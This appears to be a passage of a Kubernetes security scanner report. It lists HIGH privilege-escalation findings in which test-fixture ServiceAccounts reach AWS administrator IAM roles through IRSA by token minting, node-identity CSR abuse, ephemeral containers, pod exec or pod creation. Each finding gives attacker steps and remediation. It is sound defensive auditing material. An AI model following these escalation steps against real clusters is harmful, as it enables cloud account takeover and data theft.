  4. Final step: the IRSA-projected token is exchanged at the AWS STS endpoint (sts:AssumeRoleWithWebIdentity) for an AWS access-key/secret/session-token triple authenticated as the IAM role. The attacker can now invoke any AWS API the role's policies allow, from inside or outside the cluster.
  1. Step 1 of 2 TokenRequest minting token_request

    The create verb on serviceaccounts/token mints a fresh, valid token for any ServiceAccount in scope, with no pod required. Cleaner than the pod-creation route and harder to spot in audit logs.

    From ServiceAccount/rbac-fixtures/sa-token-create → ServiceAccount/cloud-eks-test/eks-admin-irsa
    Permission granted create serviceaccounts/token
    Gives the attacker can mint tokens for ServiceAccount cloud-eks-test/eks-admin-irsa
  2. Step 2 of 2 Assume AWS IAM Role via IRSA irsa_assume_role

    A pod whose ServiceAccount is annotated with eks.amazonaws.com/role-arn can call sts:AssumeRoleWithWebIdentity with the projected SA token and receive short-lived AWS credentials for the named IAM role. The exchange happens entirely in user-space inside the pod, so anyone with exec on that pod (or with create-pod rights in the namespace) inherits the IAM role's permissions.

    What the attacker gains depends on the IAM role's policy. If the role carries AdministratorAccess, PowerUserAccess, or any *:* grant, this is an AWS-account-wide takeover routed through Kubernetes.

    From ServiceAccount/cloud-eks-test/eks-admin-irsa → User/arn:aws:iam::123456789012:role/AdministratorAccess
    Permission granted arn:aws:iam::123456789012:role/AdministratorAccess
    Gives the attacker ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA
Remediation
Tighten the IRSA role: review its trust policy and attached permissions, then break the chain at the weakest hop. Concretely: remove the permission create serviceaccounts/token that enables the first hop (ServiceAccount/rbac-fixtures/sa-token-create → ServiceAccount/cloud-eks-test/eks-admin-irsa).
  1. Audit the IAM role's trust policy: aws iam get-role --role-name <role> and confirm the Condition block restricts sub to exactly this ServiceAccount (e.g. system:serviceaccount:<ns>:<sa>). A wildcard or missing condition lets *any* SA in the cluster mint role credentials.
  2. Apply least-privilege actions on the role's attached policies. Replace Action: "*" or Resource: "*" with the minimum set the workload actually uses (CloudTrail data-event logs + IAM Access Analyzer findings are the canonical inputs).
  3. Tag and audit role usage with CloudTrail. Set aws_iam_role_last_used to alert on any AssumeRole event not originating from the expected SA's OIDC sub.
  4. Break the in-cluster chain: remove the permission create serviceaccounts/token that enables the first hop (ServiceAccount/rbac-fixtures/sa-token-create → ServiceAccount/cloud-eks-test/eks-admin-irsa).
  5. Wire admission policy: a Kyverno rule that fails any new ServiceAccount whose eks.amazonaws.com/role-arn annotation points at an admin-flavored role (AdministratorAccess, PowerUserAccess, AWSReservedSSO_AdministratorAccess_*) outside an explicit allowlist.
HIGH ServiceAccount/rbac-fixtures/sa-token-create Cluster 7.5
ServiceAccount can reach external AWS IAM role
Scope · Cluster Source ServiceAccount/rbac-fixtures/sa-token-create -> external AWS IAM role: scope is the union of every action the IAM role's attached policies allow, outside the Kubernetes API surface.
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-token-create

Subject ServiceAccount/rbac-fixtures/sa-token-create has a privesc path that ends at an external AWS IAM role. The terminal hop is irsa_assume_role: the cluster's OIDC provider issues a JWT for the ServiceAccount, and AWS STS exchanges that JWT for IAM role credentials. Once the attacker holds those credentials, the cluster's RBAC layer is no longer the perimeter; the IAM role's attached policies are. Real IRSA roles in production commonly grant S3 read/write, DynamoDB, KMS Decrypt, or worse, and admin-flavored roles short-circuit the entire AWS account boundary.

The chain (2 hop(s); each step uses an explicit primitive the engine validated):
1. ServiceAccount/rbac-fixtures/sa-token-create → ServiceAccount/cloud-eks-imp/imp-irsa via token_request (create serviceaccounts/token): can mint tokens for ServiceAccount cloud-eks-imp/imp-irsa
2. ServiceAccount/cloud-eks-imp/imp-irsa → User/arn:aws:iam::123456789012:role/ImpersonatorAdminRole via irsa_assume_role (arn:aws:iam::123456789012:role/ImpersonatorAdminRole): ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA

This finding does NOT score AWS-side risk: the IAM role's policies live in the cloud account, not the snapshot. A separate cloud-side review (Cloudsplaining, IAM Access Analyzer, or aws iam simulate-principal-policy) is required to convert this into a concrete impact statement.

Impact Compromise of this SA yields AWS account access scoped by the IAM role's policies. Even least-privilege IRSA roles routinely grant data-plane reads (S3, DynamoDB, KMS) that turn cluster compromise into data exfiltration; admin-flavored roles turn it into account takeover.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload mounting ServiceAccount/rbac-fixtures/sa-token-create.
  2. Acting as ServiceAccount/rbac-fixtures/sa-token-create, the attacker calls the serviceaccounts/token subresource (create serviceaccounts/token) to mint a fresh, valid token for ServiceAccount/cloud-eks-imp/imp-irsa. No pod creation required, and a thinner audit trail than the pod-mount route.
  3. Acting as ServiceAccount/cloud-eks-imp/imp-irsa, the attacker uses the irsa_assume_role technique to reach User/arn:aws:iam::123456789012:role/ImpersonatorAdminRole via arn:aws:iam::123456789012:role/ImpersonatorAdminRole, which gains ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA.
  4. Final step: the IRSA-projected token is exchanged at the AWS STS endpoint (sts:AssumeRoleWithWebIdentity) for an AWS access-key/secret/session-token triple authenticated as the IAM role. The attacker can now invoke any AWS API the role's policies allow, from inside or outside the cluster.
  1. Step 1 of 2 TokenRequest minting token_request

    The create verb on serviceaccounts/token mints a fresh, valid token for any ServiceAccount in scope, with no pod required. Cleaner than the pod-creation route and harder to spot in audit logs.

    From ServiceAccount/rbac-fixtures/sa-token-create → ServiceAccount/cloud-eks-imp/imp-irsa
    Permission granted create serviceaccounts/token
    Gives the attacker can mint tokens for ServiceAccount cloud-eks-imp/imp-irsa
  2. Step 2 of 2 Assume AWS IAM Role via IRSA irsa_assume_role

    A pod whose ServiceAccount is annotated with eks.amazonaws.com/role-arn can call sts:AssumeRoleWithWebIdentity with the projected SA token and receive short-lived AWS credentials for the named IAM role. The exchange happens entirely in user-space inside the pod, so anyone with exec on that pod (or with create-pod rights in the namespace) inherits the IAM role's permissions.

    What the attacker gains depends on the IAM role's policy. If the role carries AdministratorAccess, PowerUserAccess, or any *:* grant, this is an AWS-account-wide takeover routed through Kubernetes.

    From ServiceAccount/cloud-eks-imp/imp-irsa → User/arn:aws:iam::123456789012:role/ImpersonatorAdminRole
    Permission granted arn:aws:iam::123456789012:role/ImpersonatorAdminRole
    Gives the attacker ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA
Remediation
Tighten the IRSA role: review its trust policy and attached permissions, then break the chain at the weakest hop. Concretely: remove the permission create serviceaccounts/token that enables the first hop (ServiceAccount/rbac-fixtures/sa-token-create → ServiceAccount/cloud-eks-imp/imp-irsa).
  1. Audit the IAM role's trust policy: aws iam get-role --role-name <role> and confirm the Condition block restricts sub to exactly this ServiceAccount (e.g. system:serviceaccount:<ns>:<sa>). A wildcard or missing condition lets *any* SA in the cluster mint role credentials.
  2. Apply least-privilege actions on the role's attached policies. Replace Action: "*" or Resource: "*" with the minimum set the workload actually uses (CloudTrail data-event logs + IAM Access Analyzer findings are the canonical inputs).
  3. Tag and audit role usage with CloudTrail. Set aws_iam_role_last_used to alert on any AssumeRole event not originating from the expected SA's OIDC sub.
  4. Break the in-cluster chain: remove the permission create serviceaccounts/token that enables the first hop (ServiceAccount/rbac-fixtures/sa-token-create → ServiceAccount/cloud-eks-imp/imp-irsa).
  5. Wire admission policy: a Kyverno rule that fails any new ServiceAccount whose eks.amazonaws.com/role-arn annotation points at an admin-flavored role (AdministratorAccess, PowerUserAccess, AWSReservedSSO_AdministratorAccess_*) outside an explicit allowlist.
HIGH ServiceAccount/nodeid-fixtures/nodeid-joiner Cluster 7.3
ServiceAccount can reach external AWS IAM role
Scope · Cluster Source ServiceAccount/nodeid-fixtures/nodeid-joiner -> external AWS IAM role: scope is the union of every action the IAM role's attached policies allow, outside the Kubernetes API surface.
Category: Privilege Escalation Subject: ServiceAccount/nodeid-fixtures/nodeid-joiner

Subject ServiceAccount/nodeid-fixtures/nodeid-joiner has a privesc path that ends at an external AWS IAM role. The terminal hop is irsa_assume_role: the cluster's OIDC provider issues a JWT for the ServiceAccount, and AWS STS exchanges that JWT for IAM role credentials. Once the attacker holds those credentials, the cluster's RBAC layer is no longer the perimeter; the IAM role's attached policies are. Real IRSA roles in production commonly grant S3 read/write, DynamoDB, KMS Decrypt, or worse, and admin-flavored roles short-circuit the entire AWS account boundary.

The chain (3 hop(s); each step uses an explicit primitive the engine validated):
1. ServiceAccount/nodeid-fixtures/nodeid-joiner → / via csr_nodeclient_autoapprove (create certificatesigningrequests + create certificatesigningrequests/nodeclient): can submit a kubelet client CSR for any node name, which the controller manager auto-approves for holders of the nodeclient subresource
2. ServiceAccount/nodeid-fixtures/nodeid-joiner → ServiceAccount/cloud-eks-test/eks-admin-irsa via node_token_request (node authorizer: create serviceaccounts/token for pods bound to the node): as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount cloud-eks-test/eks-admin-irsa, whose pod is bound there
3. ServiceAccount/cloud-eks-test/eks-admin-irsa → User/arn:aws:iam::123456789012:role/AdministratorAccess via irsa_assume_role (arn:aws:iam::123456789012:role/AdministratorAccess): ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA

This finding does NOT score AWS-side risk: the IAM role's policies live in the cloud account, not the snapshot. A separate cloud-side review (Cloudsplaining, IAM Access Analyzer, or aws iam simulate-principal-policy) is required to convert this into a concrete impact statement.

Impact Compromise of this SA yields AWS account access scoped by the IAM role's policies. Even least-privilege IRSA roles routinely grant data-plane reads (S3, DynamoDB, KMS) that turn cluster compromise into data exfiltration; admin-flavored roles turn it into account takeover.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload mounting ServiceAccount/nodeid-fixtures/nodeid-joiner.
  2. Acting as ServiceAccount/nodeid-fixtures/nodeid-joiner, the attacker submits a CertificateSigningRequest for the kubernetes.io/kube-apiserver-client-kubelet signer naming system:node:<name> in system:nodes (create certificatesigningrequests + create certificatesigningrequests/nodeclient). The controller manager's CSR approver asks the API server whether the requester may create certificatesigningrequests/nodeclient; it may, so the CSR is approved and signed with no human step. Nothing ties the node name to the requester, so the certificate is a kubelet identity for any node the attacker names.
  3. Holding a node identity, the attacker requests a token for ServiceAccount ServiceAccount/cloud-eks-test/eks-admin-irsa through the TokenRequest API. The Node authorizer allows a node to mint tokens for the ServiceAccount of any pod bound to it, and the identity names whichever node that pod runs on, so the request succeeds and the attacker now acts as ServiceAccount/cloud-eks-test/eks-admin-irsa.
  4. Acting as ServiceAccount/cloud-eks-test/eks-admin-irsa, the attacker uses the irsa_assume_role technique to reach User/arn:aws:iam::123456789012:role/AdministratorAccess via arn:aws:iam::123456789012:role/AdministratorAccess, which gains ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA.
  5. Final step: the IRSA-projected token is exchanged at the AWS STS endpoint (sts:AssumeRoleWithWebIdentity) for an AWS access-key/secret/session-token triple authenticated as the IAM role. The attacker can now invoke any AWS API the role's policies allow, from inside or outside the cluster.
  1. Step 1 of 3 Kubelet CSR auto-approval: a node identity for any name csr_nodeclient_autoapprove

    Kubelets get their client certificates by submitting a CertificateSigningRequest that names system:node:<name> in the group system:nodes. The controller manager approves such a request by itself when a SubjectAccessReview says the requester may create certificatesigningrequests/nodeclient. It does not compare the node name to the requester, nor check that the node exists.

    Whoever holds that subresource together with create certificatesigningrequests therefore gets a signed kubelet identity for any node name, and the Node authorizer grants that identity the ServiceAccount tokens and referenced Secrets of every pod on the named node. kubeadm binds the pair to its bootstrap group, which is the designed use.

    From ServiceAccount/nodeid-fixtures/nodeid-joiner
    Permission granted create certificatesigningrequests + create certificatesigningrequests/nodeclient
    Gives the attacker can submit a kubelet client CSR for any node name, which the controller manager auto-approves for holders of the nodeclient subresource
  2. Step 2 of 3 Node authorizer: token request for a node's pods node_token_request

    The Node authorizer lets a kubelet request a token (the TokenRequest API) for the ServiceAccount of any pod bound to its node, because the kubelet has to mount that token into the pod. A node identity for a chosen name therefore yields the tokens of every ServiceAccount with a pod on that node, and across names, in the cluster.

    This edge leaves the node_identity sink; it is what makes that sink traversable in the graph.

    From ServiceAccount/nodeid-fixtures/nodeid-joiner → ServiceAccount/cloud-eks-test/eks-admin-irsa
    Permission granted node authorizer: create serviceaccounts/token for pods bound to the node
    Gives the attacker as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount cloud-eks-test/eks-admin-irsa, whose pod is bound there
  3. Step 3 of 3 Assume AWS IAM Role via IRSA irsa_assume_role

    A pod whose ServiceAccount is annotated with eks.amazonaws.com/role-arn can call sts:AssumeRoleWithWebIdentity with the projected SA token and receive short-lived AWS credentials for the named IAM role. The exchange happens entirely in user-space inside the pod, so anyone with exec on that pod (or with create-pod rights in the namespace) inherits the IAM role's permissions.

    What the attacker gains depends on the IAM role's policy. If the role carries AdministratorAccess, PowerUserAccess, or any *:* grant, this is an AWS-account-wide takeover routed through Kubernetes.

    From ServiceAccount/cloud-eks-test/eks-admin-irsa → User/arn:aws:iam::123456789012:role/AdministratorAccess
    Permission granted arn:aws:iam::123456789012:role/AdministratorAccess
    Gives the attacker ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA
Remediation
Tighten the IRSA role: review its trust policy and attached permissions, then break the chain at the weakest hop. Concretely: remove the permission create certificatesigningrequests + create certificatesigningrequests/nodeclient that enables the first hop (ServiceAccount/nodeid-fixtures/nodeid-joiner → /).
  1. Audit the IAM role's trust policy: aws iam get-role --role-name <role> and confirm the Condition block restricts sub to exactly this ServiceAccount (e.g. system:serviceaccount:<ns>:<sa>). A wildcard or missing condition lets *any* SA in the cluster mint role credentials.
  2. Apply least-privilege actions on the role's attached policies. Replace Action: "*" or Resource: "*" with the minimum set the workload actually uses (CloudTrail data-event logs + IAM Access Analyzer findings are the canonical inputs).
  3. Tag and audit role usage with CloudTrail. Set aws_iam_role_last_used to alert on any AssumeRole event not originating from the expected SA's OIDC sub.
  4. Break the in-cluster chain: remove the permission create certificatesigningrequests + create certificatesigningrequests/nodeclient that enables the first hop (ServiceAccount/nodeid-fixtures/nodeid-joiner → /).
  5. Wire admission policy: a Kyverno rule that fails any new ServiceAccount whose eks.amazonaws.com/role-arn annotation points at an admin-flavored role (AdministratorAccess, PowerUserAccess, AWSReservedSSO_AdministratorAccess_*) outside an explicit allowlist.
HIGH ServiceAccount/privesc-fixtures/sa-ephemeral Cluster 7.2
ServiceAccount can reach external AWS IAM role
Scope · Cluster Source ServiceAccount/privesc-fixtures/sa-ephemeral -> external AWS IAM role: scope is the union of every action the IAM role's attached policies allow, outside the Kubernetes API surface.
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-ephemeral

Subject ServiceAccount/privesc-fixtures/sa-ephemeral has a privesc path that ends at an external AWS IAM role. The terminal hop is irsa_assume_role: the cluster's OIDC provider issues a JWT for the ServiceAccount, and AWS STS exchanges that JWT for IAM role credentials. Once the attacker holds those credentials, the cluster's RBAC layer is no longer the perimeter; the IAM role's attached policies are. Real IRSA roles in production commonly grant S3 read/write, DynamoDB, KMS Decrypt, or worse, and admin-flavored roles short-circuit the entire AWS account boundary.

The chain (2 hop(s); each step uses an explicit primitive the engine validated):
1. ServiceAccount/privesc-fixtures/sa-ephemeral → ServiceAccount/cloud-eks-test/eks-admin-irsa via ephemeral_container_inject (update,patch pods/ephemeralcontainers): can inject an ephemeral container into pods running as ServiceAccount cloud-eks-test/eks-admin-irsa
2. ServiceAccount/cloud-eks-test/eks-admin-irsa → User/arn:aws:iam::123456789012:role/AdministratorAccess via irsa_assume_role (arn:aws:iam::123456789012:role/AdministratorAccess): ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA

This finding does NOT score AWS-side risk: the IAM role's policies live in the cloud account, not the snapshot. A separate cloud-side review (Cloudsplaining, IAM Access Analyzer, or aws iam simulate-principal-policy) is required to convert this into a concrete impact statement.

Impact Compromise of this SA yields AWS account access scoped by the IAM role's policies. Even least-privilege IRSA roles routinely grant data-plane reads (S3, DynamoDB, KMS) that turn cluster compromise into data exfiltration; admin-flavored roles turn it into account takeover.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload mounting ServiceAccount/privesc-fixtures/sa-ephemeral.
  2. Acting as ServiceAccount/privesc-fixtures/sa-ephemeral, the attacker uses the ephemeral_container_inject technique to reach ServiceAccount/cloud-eks-test/eks-admin-irsa via update,patch pods/ephemeralcontainers, which gains can inject an ephemeral container into pods running as ServiceAccount cloud-eks-test/eks-admin-irsa.
  3. Acting as ServiceAccount/cloud-eks-test/eks-admin-irsa, the attacker uses the irsa_assume_role technique to reach User/arn:aws:iam::123456789012:role/AdministratorAccess via arn:aws:iam::123456789012:role/AdministratorAccess, which gains ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA.
  4. Final step: the IRSA-projected token is exchanged at the AWS STS endpoint (sts:AssumeRoleWithWebIdentity) for an AWS access-key/secret/session-token triple authenticated as the IAM role. The attacker can now invoke any AWS API the role's policies allow, from inside or outside the cluster.
  1. Step 1 of 2 Ephemeral container injection ephemeral_container_inject

    update/patch on pods/ephemeralcontainers adds an attacker-chosen container to an already-running pod (the mechanism behind kubectl debug). The injected container joins the victim pod's namespaces and can mount its ServiceAccount token, so it is effectively pod creation against an existing victim: the attacker picks the image but inherits the pod's identity and host exposure.

    From ServiceAccount/privesc-fixtures/sa-ephemeral → ServiceAccount/cloud-eks-test/eks-admin-irsa
    Permission granted update,patch pods/ephemeralcontainers
    Gives the attacker can inject an ephemeral container into pods running as ServiceAccount cloud-eks-test/eks-admin-irsa
  2. Step 2 of 2 Assume AWS IAM Role via IRSA irsa_assume_role

    A pod whose ServiceAccount is annotated with eks.amazonaws.com/role-arn can call sts:AssumeRoleWithWebIdentity with the projected SA token and receive short-lived AWS credentials for the named IAM role. The exchange happens entirely in user-space inside the pod, so anyone with exec on that pod (or with create-pod rights in the namespace) inherits the IAM role's permissions.

    What the attacker gains depends on the IAM role's policy. If the role carries AdministratorAccess, PowerUserAccess, or any *:* grant, this is an AWS-account-wide takeover routed through Kubernetes.

    From ServiceAccount/cloud-eks-test/eks-admin-irsa → User/arn:aws:iam::123456789012:role/AdministratorAccess
    Permission granted arn:aws:iam::123456789012:role/AdministratorAccess
    Gives the attacker ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA
Remediation
Tighten the IRSA role: review its trust policy and attached permissions, then break the chain at the weakest hop. Concretely: remove the permission update,patch pods/ephemeralcontainers that enables the first hop (ServiceAccount/privesc-fixtures/sa-ephemeral → ServiceAccount/cloud-eks-test/eks-admin-irsa).
  1. Audit the IAM role's trust policy: aws iam get-role --role-name <role> and confirm the Condition block restricts sub to exactly this ServiceAccount (e.g. system:serviceaccount:<ns>:<sa>). A wildcard or missing condition lets *any* SA in the cluster mint role credentials.
  2. Apply least-privilege actions on the role's attached policies. Replace Action: "*" or Resource: "*" with the minimum set the workload actually uses (CloudTrail data-event logs + IAM Access Analyzer findings are the canonical inputs).
  3. Tag and audit role usage with CloudTrail. Set aws_iam_role_last_used to alert on any AssumeRole event not originating from the expected SA's OIDC sub.
  4. Break the in-cluster chain: remove the permission update,patch pods/ephemeralcontainers that enables the first hop (ServiceAccount/privesc-fixtures/sa-ephemeral → ServiceAccount/cloud-eks-test/eks-admin-irsa).
  5. Wire admission policy: a Kyverno rule that fails any new ServiceAccount whose eks.amazonaws.com/role-arn annotation points at an admin-flavored role (AdministratorAccess, PowerUserAccess, AWSReservedSSO_AdministratorAccess_*) outside an explicit allowlist.
HIGH ServiceAccount/privesc-fixtures/sa-pod-exec Cluster 7.2
ServiceAccount can reach external AWS IAM role
Scope · Cluster Source ServiceAccount/privesc-fixtures/sa-pod-exec -> external AWS IAM role: scope is the union of every action the IAM role's attached policies allow, outside the Kubernetes API surface.
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-pod-exec

Subject ServiceAccount/privesc-fixtures/sa-pod-exec has a privesc path that ends at an external AWS IAM role. The terminal hop is irsa_assume_role: the cluster's OIDC provider issues a JWT for the ServiceAccount, and AWS STS exchanges that JWT for IAM role credentials. Once the attacker holds those credentials, the cluster's RBAC layer is no longer the perimeter; the IAM role's attached policies are. Real IRSA roles in production commonly grant S3 read/write, DynamoDB, KMS Decrypt, or worse, and admin-flavored roles short-circuit the entire AWS account boundary.

The chain (2 hop(s); each step uses an explicit primitive the engine validated):
1. ServiceAccount/privesc-fixtures/sa-pod-exec → ServiceAccount/cloud-eks-test/eks-admin-irsa via pod_exec (create,get pods/exec|pods/attach): can exec into pods running as ServiceAccount cloud-eks-test/eks-admin-irsa
2. ServiceAccount/cloud-eks-test/eks-admin-irsa → User/arn:aws:iam::123456789012:role/AdministratorAccess via irsa_assume_role (arn:aws:iam::123456789012:role/AdministratorAccess): ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA

This finding does NOT score AWS-side risk: the IAM role's policies live in the cloud account, not the snapshot. A separate cloud-side review (Cloudsplaining, IAM Access Analyzer, or aws iam simulate-principal-policy) is required to convert this into a concrete impact statement.

Impact Compromise of this SA yields AWS account access scoped by the IAM role's policies. Even least-privilege IRSA roles routinely grant data-plane reads (S3, DynamoDB, KMS) that turn cluster compromise into data exfiltration; admin-flavored roles turn it into account takeover.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload mounting ServiceAccount/privesc-fixtures/sa-pod-exec.
  2. Acting as ServiceAccount/privesc-fixtures/sa-pod-exec, the attacker uses pods/exec (create,get pods/exec|pods/attach) to open a shell inside ServiceAccount/cloud-eks-test/eks-admin-irsa and inherit whatever ServiceAccount or host privileges that container holds.
  3. Acting as ServiceAccount/cloud-eks-test/eks-admin-irsa, the attacker uses the irsa_assume_role technique to reach User/arn:aws:iam::123456789012:role/AdministratorAccess via arn:aws:iam::123456789012:role/AdministratorAccess, which gains ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA.
  4. Final step: the IRSA-projected token is exchanged at the AWS STS endpoint (sts:AssumeRoleWithWebIdentity) for an AWS access-key/secret/session-token triple authenticated as the IAM role. The attacker can now invoke any AWS API the role's policies allow, from inside or outside the cluster.
  1. Step 1 of 2 Pod exec → container takeover pod_exec

    The pods/exec subresource opens a shell inside a running container. If the container's pod uses a privileged ServiceAccount, the attacker inherits that SA's reach. If the container is itself privileged or mounts the host, this is also a node-escape primitive.

    From ServiceAccount/privesc-fixtures/sa-pod-exec → ServiceAccount/cloud-eks-test/eks-admin-irsa
    Permission granted create,get pods/exec|pods/attach
    Gives the attacker can exec into pods running as ServiceAccount cloud-eks-test/eks-admin-irsa
  2. Step 2 of 2 Assume AWS IAM Role via IRSA irsa_assume_role

    A pod whose ServiceAccount is annotated with eks.amazonaws.com/role-arn can call sts:AssumeRoleWithWebIdentity with the projected SA token and receive short-lived AWS credentials for the named IAM role. The exchange happens entirely in user-space inside the pod, so anyone with exec on that pod (or with create-pod rights in the namespace) inherits the IAM role's permissions.

    What the attacker gains depends on the IAM role's policy. If the role carries AdministratorAccess, PowerUserAccess, or any *:* grant, this is an AWS-account-wide takeover routed through Kubernetes.

    From ServiceAccount/cloud-eks-test/eks-admin-irsa → User/arn:aws:iam::123456789012:role/AdministratorAccess
    Permission granted arn:aws:iam::123456789012:role/AdministratorAccess
    Gives the attacker ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA
Remediation
Tighten the IRSA role: review its trust policy and attached permissions, then break the chain at the weakest hop. Concretely: remove the permission create,get pods/exec|pods/attach that enables the first hop (ServiceAccount/privesc-fixtures/sa-pod-exec → ServiceAccount/cloud-eks-test/eks-admin-irsa).
  1. Audit the IAM role's trust policy: aws iam get-role --role-name <role> and confirm the Condition block restricts sub to exactly this ServiceAccount (e.g. system:serviceaccount:<ns>:<sa>). A wildcard or missing condition lets *any* SA in the cluster mint role credentials.
  2. Apply least-privilege actions on the role's attached policies. Replace Action: "*" or Resource: "*" with the minimum set the workload actually uses (CloudTrail data-event logs + IAM Access Analyzer findings are the canonical inputs).
  3. Tag and audit role usage with CloudTrail. Set aws_iam_role_last_used to alert on any AssumeRole event not originating from the expected SA's OIDC sub.
  4. Break the in-cluster chain: remove the permission create,get pods/exec|pods/attach that enables the first hop (ServiceAccount/privesc-fixtures/sa-pod-exec → ServiceAccount/cloud-eks-test/eks-admin-irsa).
  5. Wire admission policy: a Kyverno rule that fails any new ServiceAccount whose eks.amazonaws.com/role-arn annotation points at an admin-flavored role (AdministratorAccess, PowerUserAccess, AWSReservedSSO_AdministratorAccess_*) outside an explicit allowlist.
HIGH ServiceAccount/rbac-fixtures/sa-pod-create Cluster 7.2
ServiceAccount can reach external AWS IAM role
Scope · Cluster Source ServiceAccount/rbac-fixtures/sa-pod-create -> external AWS IAM role: scope is the union of every action the IAM role's attached policies allow, outside the Kubernetes API surface.
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-pod-create

Subject ServiceAccount/rbac-fixtures/sa-pod-create has a privesc path that ends at an external AWS IAM role. The terminal hop is irsa_assume_role: the cluster's OIDC provider issues a JWT for the ServiceAccount, and AWS STS exchanges that JWT for IAM role credentials. Once the attacker holds those credentials, the cluster's RBAC layer is no longer the perimeter; the IAM role's attached policies are. Real IRSA roles in production commonly grant S3 read/write, DynamoDB, KMS Decrypt, or worse, and admin-flavored roles short-circuit the entire AWS account boundary.

The chain (2 hop(s); each step uses an explicit primitive the engine validated):
1. ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/cloud-eks-test/eks-admin-irsa via pod_create_token_theft (create pods): can create pods that mount ServiceAccount cloud-eks-test/eks-admin-irsa
2. ServiceAccount/cloud-eks-test/eks-admin-irsa → User/arn:aws:iam::123456789012:role/AdministratorAccess via irsa_assume_role (arn:aws:iam::123456789012:role/AdministratorAccess): ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA

This finding does NOT score AWS-side risk: the IAM role's policies live in the cloud account, not the snapshot. A separate cloud-side review (Cloudsplaining, IAM Access Analyzer, or aws iam simulate-principal-policy) is required to convert this into a concrete impact statement.

Impact Compromise of this SA yields AWS account access scoped by the IAM role's policies. Even least-privilege IRSA roles routinely grant data-plane reads (S3, DynamoDB, KMS) that turn cluster compromise into data exfiltration; admin-flavored roles turn it into account takeover.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload mounting ServiceAccount/rbac-fixtures/sa-pod-create.
  2. Acting as ServiceAccount/rbac-fixtures/sa-pod-create, the attacker creates a pod that mounts the ServiceAccount/cloud-eks-test/eks-admin-irsa ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  3. Acting as ServiceAccount/cloud-eks-test/eks-admin-irsa, the attacker uses the irsa_assume_role technique to reach User/arn:aws:iam::123456789012:role/AdministratorAccess via arn:aws:iam::123456789012:role/AdministratorAccess, which gains ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA.
  4. Final step: the IRSA-projected token is exchanged at the AWS STS endpoint (sts:AssumeRoleWithWebIdentity) for an AWS access-key/secret/session-token triple authenticated as the IAM role. The attacker can now invoke any AWS API the role's policies allow, from inside or outside the cluster.
  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/cloud-eks-test/eks-admin-irsa
    Permission granted create pods
